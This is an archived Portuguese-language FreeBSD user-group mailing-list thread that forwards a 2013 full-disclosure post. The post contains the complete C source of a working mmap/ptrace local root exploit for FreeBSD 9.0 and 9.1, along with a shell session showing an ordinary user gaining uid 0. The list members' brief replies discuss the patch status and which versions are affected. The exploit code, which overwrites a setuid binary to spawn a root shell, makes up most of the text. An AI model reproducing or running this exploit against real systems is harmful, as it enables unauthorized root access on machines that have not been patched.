[FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

Marcelo Gondim gondim em bsdinfo.com.br
Segunda Junho 24 21:50:00 BRT 2013


Em 24/06/13 18:44, firebits escreveu:
> Marcelo Gondim, cita para nós qual é a lista de security, que fez essa
> afirmação, fiquei curioso...rss
>
> @firebitsbr
Foi o Emiel Kollof que mandou pra bugtraq (bugtraq em securityfocus.com)

>
>
> Em 20 de junho de 2013 17:38, Marcelo Gondim <gondim em bsdinfo.com.br>escreveu:
>
>> Em 20/06/13 15:42, Evandro Nunes escreveu:
>>> On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim <gondim em bsdinfo.com.br
>>> wrote:
>>>
>>>> É pessoal,
>>>>
>>>> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
>>>> detectar isso?  :(
>>>> E funciona lindo mesmo o programa.
>>>>
>>> de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
>>> falha do freebsd 9 inclusive o security adv so explora o freebsd 9
>>> alguem teve sucesso com freebsd 8, 7, outro?
>>> acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
>>> pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
>>> root nem quem tem mac_partition ou bsdextended implementado
>>>
>>> nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
>>> "ultra mega hacker expert" só fez o exploit depois que o advisory foi
>>> publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
>>> documentado e corrigido e vem tirar uma onda de full disclosure...
>> Pois é recebi isso em uma lista de segurança que assino. Consegui um 8.4
>> e testei e não rola. Só no 9 mesmo.
>> Esses caras são uns paiaços mesmo rsrsrsrsrs
>>
>>>
>>>> -------- Mensagem original --------
>>>> Assunto:        Happy Birthday FreeBSD! Now you are 20 years old and
>> your
>>>> security is the same as 20 years ago... :)
>>>> Data:   Wed, 19 Jun 2013 23:32:59 +0200
>>>> De:     Hunger <hunger em hunger.hu>
>>>> Para:   full-disclosure em lists.grok.org.uk
>>>>
>>>>
>>>>
>>>> $ uname -a
>>>> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
>>>> 4 09:23:10 UTC 2012
>>>> root em farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
>>>> $ id
>>>> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
>>>> $ gcc fbsd9lul.c -o fbsd9lul
>>>> $ ./fbsd9lul
>>>> FreeBSD 9.{0,1} mmap/ptrace exploit
>>>> by Hunger <fbsd9lul em hunger.hu>
>>>> # id
>>>> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
>>>> #
>>>>
>>>>
>>>> ============================ code =========================
>>>>
>>>> /*
>>>>     * FreeBSD 9.{0,1} mmap/ptrace exploit
>>>>     * by Hunger<fbsd9lul em hunger.hu>
>>>>     *
>>>>     * Happy Birthday FreeBSD!
>>>>     * Now you are 20 years old and your security is the same as 20 years
>>>> ago...
>>>>     *
>>>>     * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op,
>> pipacs,
>>>> prof,
>>>>     *              sd, sghctoma, snq, spender, s2crew and others at
>>>> #hekkcamp:
>>>>     *                      I hope we'll meet again at 8 em 1470n
>>>>     *
>>>>     * Special thanks to proactivesec.com
>>>>     *
>>>>     */
>>>>
>>>> #include <err.h>
>>>> #include <errno.h>
>>>> #include <unistd.h>
>>>> #include <stdio.h>
>>>> #include <stdlib.h>
>>>> #include <string.h>
>>>> #include <fcntl.h>
>>>> #include <sys/stat.h>
>>>> #include <sys/mman.h>
>>>> #include <sys/types.h>
>>>> #include <sys/ptrace.h>
>>>> #include <sys/wait.h>
>>>>
>>>> #define SH "/bin/sh"
>>>> #define TG "/usr/sbin/timedc"
>>>>
>>>> int
>>>> main(int ac, char **av) {
>>>>       int from_fd, to_fd, status;
>>>>       struct stat st;
>>>>       struct ptrace_io_desc piod;
>>>>       char *s, *d;
>>>>       pid_t pid;
>>>>
>>>>       if (geteuid() == 0)  {
>>>>            setuid(0);
>>>>            execl(SH, SH, NULL);
>>>>            return 0;
>>>>       }
>>>>
>>>>       printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
>>>>       printf("by Hunger<fbsd9lul em hunger.hu>\n");
>>>>
>>>>       if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
>>>>            (to_fd = open(TG, O_RDONLY)) == -1)
>>>>                    err(1, "open");
>>>>
>>>>       if (stat(av[0], &st) == -1)
>>>>            err(2, "stat");
>>>>
>>>>       if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
>>>>            MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
>>>>                    (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
>>>>                            MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
>>>> MAP_FAILED)
>>>>                                    err(3, "mmap");
>>>>
>>>>       if ((pid = fork()) == -1)
>>>>            err(4, "fork");
>>>>
>>>>       if (!pid) {
>>>>            if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
>>>>                    err(5, "ptraceme");
>>>>
>>>>            return 0;
>>>>            }
>>>>
>>>>       if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
>>>>            err(6, "ptattach");
>>>>
>>>>       if (wait(&status) == -1)
>>>>            err(7, "wait");
>>>>
>>>>       piod.piod_op = PIOD_WRITE_D;
>>>>       piod.piod_offs = d;
>>>>       piod.piod_addr = s;
>>>>       piod.piod_len  = st.st_size;
>>>>
>>>>       if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
>>>>            err(8, "ptio");
>>>>
>>>>       execl(TG, TG, NULL);
>>>>
>>>>       return 0;
>>>> }
>>>>
>>>>
>>>>
>>>> -------------------------
>>>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>>>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>>
>>> -------------------------
>>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>
>> -------------------------
>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
> -------------------------
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>


Mais detalhes sobre a lista de discussão freebsd